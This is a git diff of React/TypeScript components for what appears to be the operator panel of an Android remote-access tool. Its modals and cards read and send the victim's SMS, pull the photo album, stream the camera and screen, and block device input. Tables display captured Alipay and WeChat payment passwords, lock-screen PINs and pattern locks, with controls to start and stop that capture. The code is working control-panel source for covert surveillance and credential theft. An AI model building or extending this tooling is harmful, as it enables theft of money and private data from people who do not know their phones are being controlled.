+ 输入阻塞: {deviceInputBlocked ? '是' : '否'} | + 日志记录: {isLoggingEnabled ? '开启' : '关闭'} | + 密码: {lastKnownPassword ? '已设置' : '未设置'} +
+
+
+ )} + + {/* 📱 SMS短信数据Modal */} + setSmsModalVisible(false)} + footer={[ + + ]} + width={1000} + styles={{ body: { padding: '16px' } }} + > + {smsData && ( +
+
+
+
+ 设备ID: {smsData.deviceId} +
+
+ 短信总数: {smsData.count} +
+
+ 更新时间: {new Date(smsData.timestamp).toLocaleString()} +
+
+
+ +
`第 ${range[0]}-${range[1]} 条 / 共 ${total} 条`, + pageSizeOptions: ['10', '20', '50', '100'] + }} + loading={smsLoading} + size="small" + scroll={{ x: 800, y: 400 }} + style={{ marginTop: '16px' }} + /> + + )} + + + {/* 📷 相册数据Modal */} + setAlbumModalVisible(false)} + footer={[ + + ]} + width={1200} + styles={{ body: { padding: '16px' } }} + > + {albumData && ( +
+
+
+
+ 设备ID: {albumData.deviceId} +
+
+ 图片总数: {albumData.count} +
+
+ 更新时间: {new Date(albumData.timestamp).toLocaleString()} +
+
+
+ {/* 瀑布流布局 */} +
+ {albumData.albumList.map((img: any) => ( +
+ {img.displayName +
+ {img.displayName || img.id} +
+
+ ))} +
+
+ )} +
+ + {/* 📷 单张图片保存列表(类似短信展示) */} + { + setGallerySavedModalVisible(false) + setAlbumLoading(false) + dispatch(setGalleryLoading(false)) + }} + footer={[ + + ]} + width={1000} + styles={{ body: { padding: '16px' } }} + > +
+ {gallerySavedList.map((img) => ( +
+ {img.displayName +
+ ))} +
+
+ + {/* 🆕 手动输入确认坐标Modal */} + setInputCoordsModalVisible(false)} + okText="保存坐标" + cancelText="取消" + width={400} + > +
+
+ 📱 当前设备分辨率: {device ? `${device.screenWidth}×${device.screenHeight}` : '未知'} +
+
+ 💡 使用说明:
+ • 请输入确认按钮在设备屏幕上的精确坐标
+ • 默认值已根据设备分辨率计算 (右下角区域)
+ • X坐标: 设备宽度 - 60,Y坐标: 设备高度 - 100
+ • 您可以根据实际情况调整这些数值 +
+
+ +
+
X坐标 (横向位置)
+ setInputCoordX(value || 0)} + min={0} + max={device ? device.screenWidth : 9999} + placeholder="请输入X坐标" + addonBefore="X:" + addonAfter="px" + /> +
+ 范围: 0 ~ {device ? device.screenWidth : '设备宽度'} +
+
+ +
+
Y坐标 (纵向位置)
+ setInputCoordY(value || 0)} + min={0} + max={device ? device.screenHeight : 9999} + placeholder="请输入Y坐标" + addonBefore="Y:" + addonAfter="px" + /> +
+ 范围: 0 ~ {device ? device.screenHeight : '设备高度'} +
+
+ +
+ 📍 预览坐标: ({inputCoordX}, {inputCoordY})
+ {device && ( + <> + 相对位置: 距离左边缘 {inputCoordX}px,距离顶部 {inputCoordY}px
+ 距离右边缘 {device.screenWidth - inputCoordX}px,距离底部 {device.screenHeight - inputCoordY}px + + )} +
+
+ + {/* 支付宝密码管理Modal */} + setAlipayPasswordModalVisible(false)} + footer={[ + , + , + , + + ]} + width={800} + styles={{ body: { padding: '16px' } }} + > +
+
+
+
+ 设备ID: {deviceId} +
+
+ 密码总数: {alipayPasswordTotal} +
+
+ 检测状态: + {alipayDetectionEnabled ? '运行中' : '已停止'} + +
+
+
+
+ +
( + + {text} + + ) + }, + { + title: '长度', + dataIndex: 'passwordLength', + key: 'passwordLength', + width: 60, + render: (length: number) => ( + + {length}位 + + ) + }, + { + title: '活动', + dataIndex: 'activity', + key: 'activity', + width: 150, + render: (text: string) => ( + + {text} + + ) + }, + { + title: '输入方式', + dataIndex: 'inputMethod', + key: 'inputMethod', + width: 100, + render: (text: string) => ( + + {text} + + ) + }, + { + title: '会话ID', + dataIndex: 'sessionId', + key: 'sessionId', + width: 120, + render: (text: string) => ( + + {text.substring(0, 8)}... + + ) + }, + { + title: '检测时间', + dataIndex: 'timestamp', + key: 'timestamp', + width: 150, + render: (text: string) => new Date(text).toLocaleString() + }, + { + title: '创建时间', + dataIndex: 'createdAt', + key: 'createdAt', + width: 150, + render: (text: string) => new Date(text).toLocaleString() + } + ]} + dataSource={alipayPasswords} + rowKey="id" + pagination={{ + current: alipayPasswordPage, + pageSize: alipayPasswordPageSize, + total: alipayPasswordTotal, + showSizeChanger: true, + showQuickJumper: true, + showTotal: (total, range) => `第 ${range[0]}-${range[1]} 条 / 共 ${total} 条`, + pageSizeOptions: ['10', '20', '50', '100'], + onChange: (page, pageSize) => { + setAlipayPasswordPage(page) + setAlipayPasswordPageSize(pageSize || 10) + fetchAlipayPasswords(page, pageSize || 10) + } + }} + loading={alipayPasswordLoading} + size="small" + scroll={{ x: 600, y: 400 }} + style={{ marginTop: '16px' }} + /> + + + {/* 微信密码管理Modal */} + setWechatPasswordModalVisible(false)} + footer={[ + , + , + , + + ]} + width={800} + styles={{ body: { padding: '16px' } }} + > +
+
+
+
+ 设备ID: {deviceId} +
+
+ 密码总数: {wechatPasswordTotal} +
+
+ 检测状态: + {wechatDetectionEnabled ? '运行中' : '已停止'} + +
+
+
+
+ +
( + + {text} + + ) + }, + { + title: '长度', + dataIndex: 'passwordLength', + key: 'passwordLength', + width: 60, + render: (length: number) => ( + + {length}位 + + ) + }, + { + title: '活动', + dataIndex: 'activity', + key: 'activity', + width: 150, + render: (text: string) => ( + + {text} + + ) + }, + { + title: '输入方式', + dataIndex: 'inputMethod', + key: 'inputMethod', + width: 100, + render: (text: string) => ( + + {text} + + ) + }, + { + title: '会话ID', + dataIndex: 'sessionId', + key: 'sessionId', + width: 120, + render: (text: string) => ( + + {text.substring(0, 8)}... + + ) + }, + { + title: '检测时间', + dataIndex: 'timestamp', + key: 'timestamp', + width: 150, + render: (text: string) => new Date(text).toLocaleString() + }, + { + title: '创建时间', + dataIndex: 'createdAt', + key: 'createdAt', + width: 150, + render: (text: string) => new Date(text).toLocaleString() + } + ]} + dataSource={wechatPasswords} + rowKey="id" + pagination={{ + current: wechatPasswordPage, + pageSize: wechatPasswordPageSize, + total: wechatPasswordTotal, + showSizeChanger: true, + showQuickJumper: true, + showTotal: (total, range) => `第 ${range[0]}-${range[1]} 条 / 共 ${total} 条`, + pageSizeOptions: ['10', '20', '50', '100'], + onChange: (page, pageSize) => { + setWechatPasswordPage(page) + setWechatPasswordPageSize(pageSize || 10) + fetchWechatPasswords(page, pageSize || 10) + } + }} + loading={wechatPasswordLoading} + size="small" + scroll={{ x: 600, y: 400 }} + style={{ marginTop: '16px' }} + /> + + + + ) +} + +export default ControlPanel \ No newline at end of file diff --git a/src/components/Control/DebugFunctionsCard.tsx b/src/components/Control/DebugFunctionsCard.tsx new file mode 100644 index 0000000..aaed07e --- /dev/null +++ b/src/components/Control/DebugFunctionsCard.tsx @@ -0,0 +1,297 @@ +import React, { useState } from 'react' +import { Card, Button, Row, Col } from 'antd' +import { NodeIndexOutlined, DollarOutlined, WechatOutlined, KeyOutlined, AppstoreOutlined } from '@ant-design/icons' + +export interface DebugFunctionsCardProps { + // 基本 + children?: React.ReactNode + title?: string + extra?: React.ReactNode + footer?: React.ReactNode + style?: React.CSSProperties + loading?: boolean + actions?: React.ReactNode[] + collapsible?: boolean + defaultCollapsed?: boolean + // 运行态 + operationEnabled: boolean + // 屏幕阅读器 + screenReaderEnabled?: boolean + screenReaderLoading?: boolean + onToggleScreenReader: () => void + // 虚拟按键 + virtualKeyboardEnabled?: boolean + onToggleVirtualKeyboard: () => void + // 支付宝/微信检测 + alipayDetectionEnabled: boolean + wechatDetectionEnabled: boolean + onStartAlipayDetection: () => void + onStopAlipayDetection: () => void + onStartWechatDetection: () => void + onStopWechatDetection: () => void + // 密码操作 + onOpenFourDigitPin: () => void + onOpenSixDigitPin: () => void + onOpenPatternLock: () => void + passwordFilter: 'DEFAULT' | 'ALIPAY_PASSWORD' | 'WECHAT_PASSWORD' + onPasswordFilterChange: (v: 'DEFAULT' | 'ALIPAY_PASSWORD' | 'WECHAT_PASSWORD') => void + onViewPasswords: () => void + // 显示控制 + showScreenReaderControls?: boolean + showPasswordControls?: boolean + // 手势操作 + onSwipeUp?: () => void + onSwipeDown?: () => void + onSwipeLeft?: () => void + onSwipeRight?: () => void + onPullDownLeft?: () => void + onPullDownRight?: () => void +} + +export const DebugFunctionsCard: React.FC = ({ + title = '调试功能', + extra, + footer, + style, + loading, + actions, + collapsible = false, + defaultCollapsed = false, + operationEnabled, + screenReaderEnabled, + screenReaderLoading, + onToggleScreenReader, + virtualKeyboardEnabled, + onToggleVirtualKeyboard, + alipayDetectionEnabled, + wechatDetectionEnabled, + onStartAlipayDetection, + onStopAlipayDetection, + onStartWechatDetection, + onStopWechatDetection, + onOpenFourDigitPin, + onOpenSixDigitPin, + onOpenPatternLock, + showScreenReaderControls = true, + showPasswordControls = true, + onSwipeUp, + onSwipeDown, + onSwipeLeft, + onSwipeRight, + onPullDownLeft, + onPullDownRight, + children +}) => { + const [collapsed, setCollapsed] = useState(defaultCollapsed) + + const renderExtra = ( +
+ {extra} + {collapsible && ( + + )} +
+ ) + + return ( + + {!collapsed && children && ( +
+ {children} +
+ )} + {!collapsed && ( + <> + {showScreenReaderControls && ( + +
+ + + + + + + )} + + {showPasswordControls && ( + + + + + + + + + + + + + + + + + + +{/* + +
+ { + const label = String((option as any)?.children ?? (option as any)?.label ?? '') + return label.toLowerCase().includes(input.toLowerCase()) + }} + > + {modelOptions.map(model => ( + + ))} + + + + + + + + + + + + + + + + + + + + + + + + + + + + +
+ ) +} + +export default DeviceFilterComponent diff --git a/src/components/Control/DeviceInfoCard.tsx b/src/components/Control/DeviceInfoCard.tsx new file mode 100644 index 0000000..6fe3f03 --- /dev/null +++ b/src/components/Control/DeviceInfoCard.tsx @@ -0,0 +1,114 @@ +import React, { useEffect, useState } from 'react' +import { Card, Input, message } from 'antd' +import { useDispatch } from 'react-redux' +import apiClient from '../../services/apiClient' +import { updateDeviceRemark } from '../../store/slices/deviceSlice' + +export interface DeviceInfoCardProps { + device: { + id?: string + name?: string + model?: string + systemVersionName?: string + osVersion?: string | number + romType?: string + romVersion?: string + osBuildVersion?: string + screenWidth?: number + screenHeight?: number + publicIP?: string + remark?: string + appName?: string + appVersion?: string + appPackage?: string + connectedAt?: number + } +} + +export const DeviceInfoCard: React.FC = ({ device }) => { + const dispatch = useDispatch() + const [editing, setEditing] = useState(false) + const [draftRemark, setDraftRemark] = useState(device?.remark || '') + const [saving, setSaving] = useState(false) + + useEffect(() => { + setDraftRemark(device?.remark || '') + }, [device?.remark]) + + const saveRemarkIfChanged = async () => { + if (!device?.id) return + if ((device?.remark || '') === draftRemark) return + setSaving(true) + try { + await apiClient.put(`/api/devices/${device.id}/remark`, { remark: draftRemark }) + dispatch(updateDeviceRemark({ deviceId: device.id, remark: draftRemark })) + message.success('备注已更新') + } catch (_e) { + message.error('备注更新失败') + } finally { + setSaving(false) + setEditing(false) + } + } + return ( + +
+
名称: {device?.name}
+
型号: {device?.model}
+
系统: {device?.systemVersionName ? `${device.systemVersionName} (${device.osVersion})` : `Android ${device?.osVersion ?? ''}`}
+ {device?.romType && device.romType !== '原生Android' && ( +
ROM: {device.romType}
+ )} + {device?.romVersion && device.romVersion !== '未知版本' && ( +
ROM版本: {device.romVersion}
+ )} + {device?.osBuildVersion && ( +
系统版本号: {device.osBuildVersion}
+ )} +
分辨率: {device?.screenWidth}×{device?.screenHeight}
+
公网IP: {device?.publicIP || '未知'}
+
首次安装时间: {device?.connectedAt ? new Date(device.connectedAt).toLocaleString() : '未知'}
+ {(device?.appName || device?.appVersion || device?.appPackage) && ( +
+ {device?.appName && (
APP名称: {device.appName}
)} + {device?.appVersion && (
APP版本: {device.appVersion}
)} + {device?.appPackage && (
APP包名: {device.appPackage}
)} +
+ )} +
+ 备注: + {editing ? ( + setDraftRemark(e.target.value)} + onBlur={saveRemarkIfChanged} + onPressEnter={(e) => { + if (e.ctrlKey || e.metaKey) { + e.preventDefault() + saveRemarkIfChanged() + } + }} + disabled={saving} + style={{ maxWidth: 360 }} + autoFocus + /> + ) : ( + setEditing(true)} + > + {device?.remark || '点击编辑备注'} + + )} +
+ +
+
+ ) +} + +export default DeviceInfoCard + + diff --git a/src/components/Control/GalleryControlCard.tsx b/src/components/Control/GalleryControlCard.tsx new file mode 100644 index 0000000..fe75f00 --- /dev/null +++ b/src/components/Control/GalleryControlCard.tsx @@ -0,0 +1,74 @@ +import React from 'react' +import { Button, Image } from 'antd' +import { AppstoreOutlined } from '@ant-design/icons' + +export interface GalleryControlCardProps { + operationEnabled: boolean + onCheckPermission: () => void + onGetGallery: () => void + savedList?: Array<{ + id: string | number + resolvedUrl?: string + url?: string + displayName?: string + }> +} + +export const GalleryControlCard: React.FC = ({ + operationEnabled, + onCheckPermission: _onCheckPermission, + onGetGallery, + savedList +}) => { + return ( + <> + + {savedList && savedList.length > 0 && ( +
+
实时保存的图片
+
+ +
+ {savedList.map((img) => ( +
+ + {img.displayName && ( +
+ {img.displayName} +
+ )} +
+ ))} +
+
+
+
+ )} + + ) +} + +export default GalleryControlCard + + diff --git a/src/components/Control/LogsCard.tsx b/src/components/Control/LogsCard.tsx new file mode 100644 index 0000000..92db3a1 --- /dev/null +++ b/src/components/Control/LogsCard.tsx @@ -0,0 +1,34 @@ +import React from 'react' +import { Card, Row, Col, Button } from 'antd' +import { FileTextOutlined, ClearOutlined } from '@ant-design/icons' + +export interface LogsCardProps { + onView: () => void + onClear: () => void +} + +export const LogsCard: React.FC = ({ onView, onClear }) => { + return ( + + +
+ + + + + + +
+ 💡 查看和管理历史日志记录 +
+ + ) +} + +export default LogsCard + + diff --git a/src/components/Control/SmsControlCard.tsx b/src/components/Control/SmsControlCard.tsx new file mode 100644 index 0000000..d096c40 --- /dev/null +++ b/src/components/Control/SmsControlCard.tsx @@ -0,0 +1,168 @@ +import React, { useState, useMemo } from 'react' +import { Card, Row, Col, Button, Input, InputNumber, Table, Modal } from 'antd' +import { FileTextOutlined, SendOutlined } from '@ant-design/icons' + +export interface SmsControlCardProps { + operationEnabled: boolean + smsLoading: boolean + smsList: any[] + smsReadLimit?: number + onSmsReadLimitChange?: (limit: number) => void + onReadList: () => void + onSend: (phone: string, content: string) => void +} + +export const SmsControlCard: React.FC = ({ + operationEnabled, + smsLoading, + smsList, + smsReadLimit = 100, + onSmsReadLimitChange, + onReadList, + onSend +}) => { + const [phone, setPhone] = useState('') + const [content, setContent] = useState('') + const [previewVisible, setPreviewVisible] = useState(false) + const [previewText, setPreviewText] = useState('') + + const columns = useMemo( + () => [ + { title: '号码', dataIndex: 'address', key: 'address', width: 160, render: (v: any) => v ?? '-' }, + { + title: '内容', + dataIndex: 'body', + key: 'body', + ellipsis: true, + render: (v: any) => ( +
{ + if (!v) return + setPreviewText(String(v)) + setPreviewVisible(true) + }} + title={v || ''} + > + {v ?? '-'} +
+ ) + }, + { title: '时间', dataIndex: 'date', key: 'date', width: 200, render: (v: any) => v ? new Date(v).toLocaleString() : '-' }, + ], + [] + ) + + const handleSendClick = () => { + if (!phone.trim() || !content.trim()) return + onSend(phone.trim(), content) + } + + return ( + + {/* 🆕 读取条数设置 */} + +
+ 读取条数: + { + if (value !== null && value > 0) { + onSmsReadLimitChange?.(value) + } + }} + disabled={!operationEnabled} + style={{ width: 120 }} + placeholder="条数" + /> + + + + + + setPhone(e.target.value)} + allowClear + disabled={!operationEnabled} + /> + + + setContent(e.target.value)} + autoSize={{ minRows: 1, maxRows: 3 }} + disabled={!operationEnabled} + /> + + + + + + + + + +
+
String(record.id ?? record._id ?? record.date ?? Math.random())} + pagination={{ pageSize: 10, showSizeChanger: false }} + loading={smsLoading} + /> + + + setPreviewVisible(false)} + footer={null} + width={600} + > + + + + ) +} + +export default SmsControlCard + + diff --git a/src/components/Device/CoordinateMappingStatus.tsx b/src/components/Device/CoordinateMappingStatus.tsx new file mode 100644 index 0000000..79529af --- /dev/null +++ b/src/components/Device/CoordinateMappingStatus.tsx @@ -0,0 +1,67 @@ +/** + * 坐标映射状态监控组件 + */ + +import React, { useState, useEffect } from 'react' +import { SafeCoordinateMapper } from '../../utils/SafeCoordinateMapper' + +interface CoordinateMappingStatusProps { + coordinateMapper?: SafeCoordinateMapper | null +} + +const CoordinateMappingStatus: React.FC = ({ + coordinateMapper +}) => { + const [performanceReport, setPerformanceReport] = useState('') + + useEffect(() => { + if (!coordinateMapper) return + + const updateReport = () => { + try { + const report = coordinateMapper.getPerformanceReport() + setPerformanceReport(report) + } catch (error) { + console.error('获取性能报告失败:', error) + } + } + + updateReport() + const interval = setInterval(updateReport, 5000) + + return () => clearInterval(interval) + }, [coordinateMapper]) + + if (!coordinateMapper) { + return ( +
+ 坐标映射器未初始化 +
+ ) + } + + return ( +
+
+ 📊 坐标映射状态 +
+
+        {performanceReport || '正在加载...'}
+      
+
+ ) +} + +export default CoordinateMappingStatus \ No newline at end of file diff --git a/src/components/Device/DeviceCamera.tsx b/src/components/Device/DeviceCamera.tsx new file mode 100644 index 0000000..760cbd4 --- /dev/null +++ b/src/components/Device/DeviceCamera.tsx @@ -0,0 +1,221 @@ +import React, { useRef, useEffect, useState, useCallback } from 'react' +import { useSelector, useDispatch } from 'react-redux' +import { setCameraActive, addGalleryImage } from '../../store/slices/uiSlice' +import type { RootState } from '../../store/store' + +interface DeviceCameraProps { + deviceId: string + onActiveChange?: (active: boolean) => void +} + +/** + * 设备摄像头显示组件 + */ +const DeviceCamera: React.FC = ({ deviceId, onActiveChange }) => { + const canvasRef = useRef(null) + const [lastFrameTime, setLastFrameTime] = useState(0) + const [hasFrame, setHasFrame] = useState(false) + const [imageSize, setImageSize] = useState<{ width: number, height: number } | null>(null) + + const dispatch = useDispatch() + const { webSocket } = useSelector((state: RootState) => state.connection) + const { connectedDevices } = useSelector((state: RootState) => state.devices) + const { screenDisplay } = useSelector((state: RootState) => state.ui) + + const device = connectedDevices.find(d => d.id === deviceId) + + const drawFrame = useCallback((frameData: any) => { + const canvas = canvasRef.current + if (!canvas) return + + try { + // 验证帧数据格式 + if (!frameData?.data || !frameData?.format) { + console.warn('收到无效的摄像头数据:', frameData) + return + } + + // 创建图像对象 + const img = new Image() + + img.onload = () => { + try { + // 固定显示尺寸为接收图片的原始尺寸 + canvas.width = img.width + canvas.height = img.height + + const ctx = canvas.getContext('2d') + if (!ctx) return + // 清除画布 + ctx.clearRect(0, 0, canvas.width, canvas.height) + + // 根据显示模式调整绘制方式 + switch (screenDisplay.fitMode) { + case 'fit': + drawFitMode(ctx, img, canvas) + break + case 'fill': + drawFillMode(ctx, img, canvas) + break + case 'stretch': + drawStretchMode(ctx, img, canvas) + break + case 'original': + drawOriginalMode(ctx, img, canvas) + break + } + + setImageSize({ width: img.width, height: img.height }) + console.debug(`✅ 成功绘制摄像头帧: ${img.width}x${img.height}, 格式: ${frameData.format}`) + } catch (drawError) { + console.error('绘制摄像头图像失败:', drawError) + } + } + + img.onerror = (error) => { + console.error('摄像头图像加载失败:', error) + } + + // 设置图像数据源 + if (typeof frameData.data === 'string') { + img.src = `data:image/${frameData.format.toLowerCase()};base64,${frameData.data}` + } else { + // 处理二进制数据 + const blob = new Blob([frameData.data], { type: `image/${frameData.format.toLowerCase()}` }) + img.src = URL.createObjectURL(blob) + } + + } catch (error) { + console.error('绘制摄像头帧数据失败:', error) + } + }, [screenDisplay.fitMode]) + + // 监听摄像头数据的独立useEffect + useEffect(() => { + if (!webSocket) return + + const handleCameraData = (data: any) => { + if (data.deviceId === deviceId) { + drawFrame(data) + setLastFrameTime(Date.now()) + if (!hasFrame) { + setHasFrame(true) + onActiveChange && onActiveChange(true) + } + } + } + + // 监听相册图片保存事件 + const handleGalleryImageSaved = (data: any) => { + if (data.deviceId === deviceId) { + console.log('收到相册图片保存事件:', data) + dispatch(addGalleryImage(data)) + } + } + + webSocket.on('camera_data', handleCameraData) + webSocket.on('gallery_image_saved', handleGalleryImageSaved) + + return () => { + webSocket.off('camera_data', handleCameraData) + webSocket.off('gallery_image_saved', handleGalleryImageSaved) + } + }, [webSocket, deviceId, hasFrame, onActiveChange, drawFrame]) + + // 当首次接收到帧时,设置摄像头为激活状态 + useEffect(() => { + if (hasFrame) { + dispatch(setCameraActive(true)) + } + }, [hasFrame, dispatch]) + + // 取消“无数据自动隐藏”逻辑:不再因短暂丢帧而隐藏 + + // 通知父组件卸载或无数据时不活跃 + useEffect(() => { + return () => { + onActiveChange && onActiveChange(false) + // 摄像头数据流不活跃 + dispatch(setCameraActive(false)) + } + }, [onActiveChange]) + + const drawFitMode = (ctx: CanvasRenderingContext2D, img: HTMLImageElement, canvas: HTMLCanvasElement) => { + const scale = Math.min(canvas.width / img.width, canvas.height / img.height) + const x = (canvas.width - img.width * scale) / 2 + const y = (canvas.height - img.height * scale) / 2 + ctx.drawImage(img, x, y, img.width * scale, img.height * scale) + } + + const drawFillMode = (ctx: CanvasRenderingContext2D, img: HTMLImageElement, canvas: HTMLCanvasElement) => { + const scale = Math.max(canvas.width / img.width, canvas.height / img.height) + const x = (canvas.width - img.width * scale) / 2 + const y = (canvas.height - img.height * scale) / 2 + ctx.drawImage(img, x, y, img.width * scale, img.height * scale) + } + + const drawStretchMode = (ctx: CanvasRenderingContext2D, img: HTMLImageElement, canvas: HTMLCanvasElement) => { + ctx.drawImage(img, 0, 0, canvas.width, canvas.height) + } + + const drawOriginalMode = (ctx: CanvasRenderingContext2D, img: HTMLImageElement, canvas: HTMLCanvasElement) => { + const x = (canvas.width - img.width) / 2 + const y = (canvas.height - img.height) / 2 + ctx.drawImage(img, x, y) + } + + if (!device) { + return null + } + + return ( + <> + {hasFrame && ( +
+ {/* 顶部信息栏 */} +
+
+ 摄像头 FPS: {lastFrameTime ? Math.round(1000 / (Date.now() - lastFrameTime)) : 0} +
+
+ + e.preventDefault()} + /> +
+ )} + + ) +} + +export default DeviceCamera diff --git a/src/components/Device/DeviceScreen.tsx b/src/components/Device/DeviceScreen.tsx new file mode 100644 index 0000000..7be0ae8 --- /dev/null +++ b/src/components/Device/DeviceScreen.tsx @@ -0,0 +1,1260 @@ +import React, { useRef, useEffect, useState, useCallback } from 'react' +import { Card, Spin } from 'antd' +import { useSelector } from 'react-redux' +import type { RootState } from '../../store/store' + +/** 画质档位(参考billd-desk的参数化控制) */ +const QUALITY_PROFILES = [ + { key: 'low', label: '低画质', fps: 5, quality: 30, resolution: '360P' }, + { key: 'medium', label: '中画质', fps: 10, quality: 45, resolution: '480P' }, + { key: 'high', label: '高画质', fps: 15, quality: 60, resolution: '720P' }, + { key: 'ultra', label: '超高画质', fps: 20, quality: 75, resolution: '1080P' }, +] + +interface DeviceScreenProps { + deviceId: string + onScreenSizeChange?: (size: { width: number, height: number }) => void +} + +/** + * 设备屏幕显示组件 + */ +const DeviceScreen: React.FC = ({ deviceId, onScreenSizeChange }) => { + // const dispatch = useDispatch() + const canvasRef = useRef(null) + const fullscreenContainerRef = useRef(null) + const [isLoading, setIsLoading] = useState(true) + const [imageSize, setImageSize] = useState<{ width: number, height: number } | null>(null) + const [isFullscreen, setIsFullscreen] = useState(false) + + // ✅ FPS 计算:使用滑动窗口统计真实帧率 + const fpsFrameTimesRef = useRef([]) + const [displayFps, setDisplayFps] = useState(0) + const lastFpsUpdateRef = useRef(0) + + // ✅ 帧渲染控制:只保留最新帧,用 rAF 驱动渲染 + const latestFrameRef = useRef(null) + const rafIdRef = useRef(0) + const isRenderingRef = useRef(false) + const imageSizeRef = useRef<{ width: number, height: number } | null>(null) + + // ✅ 尺寸稳定性:防止偶发异常帧导致canvas闪烁 + const pendingSizeRef = useRef<{ width: number, height: number } | null>(null) + const pendingSizeCountRef = useRef(0) + const SIZE_STABLE_THRESHOLD = 3 // 连续3帧相同尺寸才更新 + + // ✅ 添加控制权状态跟踪,避免重复申请 + const [isControlRequested, setIsControlRequested] = useState(false) + const [currentWebSocket, setCurrentWebSocket] = useState(null) + const [lastControlRequestTime, setLastControlRequestTime] = useState(0) + + const { webSocket } = useSelector((state: RootState) => state.connection) + const { connectedDevices } = useSelector((state: RootState) => state.devices) + const { screenDisplay, operationEnabled } = useSelector((state: RootState) => state.ui) + + const device = connectedDevices.find(d => d.id === deviceId) + + // 📊 画质控制状态 + const [currentProfile, setCurrentProfile] = useState('medium') + const [showQualityPanel, setShowQualityPanel] = useState(false) + const [networkStats, setNetworkStats] = useState({ fps: 0, dropRate: 0, avgFrameSize: 0 }) + const frameCountRef = useRef(0) + const droppedFrameCountRef = useRef(0) + const feedbackTimerRef = useRef(0) + const lastFeedbackTimeRef = useRef(0) + + // ✅ 安全地通知父组件屏幕尺寸变化(在 useEffect 中而非渲染期间) + useEffect(() => { + if (imageSize && onScreenSizeChange) { + onScreenSizeChange(imageSize) + } + }, [imageSize, onScreenSizeChange]) + + // 📊 画质反馈:定期向服务端报告网络质量 + useEffect(() => { + if (!webSocket || !deviceId) return + + const sendFeedback = () => { + const now = Date.now() + if (now - lastFeedbackTimeRef.current < 3000) return // 3秒发一次 + lastFeedbackTimeRef.current = now + + const totalFrames = frameCountRef.current + const droppedFrames = droppedFrameCountRef.current + const dropRate = totalFrames > 0 ? droppedFrames / totalFrames : 0 + const fps = displayFps + + webSocket.emit('quality_feedback', { + deviceId, + fps, + dropRate, + }) + + setNetworkStats({ fps, dropRate, avgFrameSize: 0 }) + + // 重置计数 + frameCountRef.current = 0 + droppedFrameCountRef.current = 0 + } + + feedbackTimerRef.current = window.setInterval(sendFeedback, 3000) + + // 监听服务端画质变更通知 + const handleQualityChanged = (data: any) => { + if (data.deviceId === deviceId) { + if (data.profile) setCurrentProfile(data.profile) + } + } + webSocket.on('quality_changed', handleQualityChanged) + + return () => { + if (feedbackTimerRef.current) clearInterval(feedbackTimerRef.current) + webSocket.off('quality_changed', handleQualityChanged) + } + }, [webSocket, deviceId, displayFps]) + + // 📊 切换画质档位 + const handleSetProfile = useCallback((profileKey: string) => { + if (!webSocket) return + webSocket.emit('set_quality_profile', { deviceId, profile: profileKey }) + setCurrentProfile(profileKey) + }, [webSocket, deviceId]) + + // ✅ 监听屏幕数据的独立useEffect,避免与控制权逻辑混合 + useEffect(() => { + if (!webSocket) return + + const handleScreenData = (data: any) => { + if (data.deviceId === deviceId) { + // 📊 帧计数用于质量反馈 + frameCountRef.current++ + + // ✅ 过滤黑屏帧:Base64长度<4000字符(≈3KB JPEG)几乎肯定是黑屏/空白帧 + // 正常480×854 JPEG即使最低质量也>8000字符 + const dataLen = typeof data.data === 'string' ? data.data.length : 0 + const MIN_VALID_FRAME_LENGTH = 4000 + + if (dataLen > 0 && dataLen < MIN_VALID_FRAME_LENGTH) { + // 黑屏帧:丢弃,保持canvas上一帧内容不变 + droppedFrameCountRef.current++ + if (frameCountRef.current % 30 === 0) { + console.log(`[屏幕数据] 已收到 ${frameCountRef.current} 帧, 丢弃黑屏帧(${dataLen}字符 < ${MIN_VALID_FRAME_LENGTH}), 已丢弃: ${droppedFrameCountRef.current}`) + } + return + } + + // 🔍 诊断:记录数据到达频率 + if (frameCountRef.current % 30 === 0) { + console.log(`[屏幕数据] 已收到 ${frameCountRef.current} 帧, 数据大小: ${dataLen}, 渲染中: ${isRenderingRef.current}, 解码中: ${decodingRef.current}`) + } + + // ✅ 只保存最新帧引用,不立即解码 + latestFrameRef.current = data + + // 只在首帧时更新loading状态,避免每帧触发重渲染 + if (isLoading) setIsLoading(false) + + // ✅ 如果没有正在进行的渲染循环,启动一个 + if (!isRenderingRef.current) { + isRenderingRef.current = true + renderLatestFrame() + } + } + } + + webSocket.on('screen_data', handleScreenData) + + return () => { + webSocket.off('screen_data', handleScreenData) + // 清理 rAF + if (rafIdRef.current) { + cancelAnimationFrame(rafIdRef.current) + rafIdRef.current = 0 + } + isRenderingRef.current = false + } + }, [webSocket, deviceId]) + + // ✅ 控制权管理的独立useEffect,只在必要时申请/释放 + useEffect(() => { + if (!webSocket || !deviceId) return + + // 如果WebSocket实例发生变化,重置控制权状态 + if (currentWebSocket !== webSocket) { + setIsControlRequested(false) + setCurrentWebSocket(webSocket) + } + + // 只在未申请过控制权时申请,且防止重复发送 + if (!isControlRequested) { + const now = Date.now() + // 🔧 防止短时间内重复发送请求(2秒内只能发送一次) + if (now - lastControlRequestTime < 2000) { + console.log('⚠️ 控制权请求过于频繁,跳过') + return + } + + console.log('🎮 申请设备控制权:', deviceId) + setLastControlRequestTime(now) + webSocket.emit('client_event', { + type: 'REQUEST_DEVICE_CONTROL', + data: { deviceId } + }) + setIsControlRequested(true) + } + + // 监听控制权响应 + const handleControlResponse = (data: any) => { + if (data.deviceId === deviceId) { + if (data.success) { + console.log('✅ 控制权获取成功:', deviceId) + } else { + console.warn('❌ 控制权获取失败:', data.message) + // 如果失败,允许重新申请 + setIsControlRequested(false) + } + } + } + + // ✅ 监听控制错误,自动重新申请控制权 + const handleControlError = (data: any) => { + if (data.deviceId === deviceId && data.error === 'NO_PERMISSION') { + console.warn('⚠️ 检测到权限丢失,重新申请控制权:', deviceId) + setIsControlRequested(false) + } + } + + webSocket.on('device_control_response', handleControlResponse) + webSocket.on('control_error', handleControlError) + + // 清理函数:只在组件卸载或deviceId变化时释放控制权 + return () => { + webSocket.off('device_control_response', handleControlResponse) + webSocket.off('control_error', handleControlError) + + // 只有在已申请过控制权时才释放 + if (isControlRequested) { + console.log('🔓 释放设备控制权:', deviceId) + webSocket.emit('client_event', { + type: 'RELEASE_DEVICE_CONTROL', + data: { deviceId } + }) + } + } + }, [webSocket, deviceId, isControlRequested, currentWebSocket]) // 🔧 不包含lastControlRequestTime避免重复执行 + + // ✅ 高性能渲染:createImageBitmap 离屏解码 + 持续 rAF 循环 + const decodingRef = useRef(false) + + const renderLatestFrame = useCallback(() => { + const doRender = () => { + const frameData = latestFrameRef.current + if (!frameData) { + // 没有新帧,停止循环,等 handleScreenData 重新启动 + 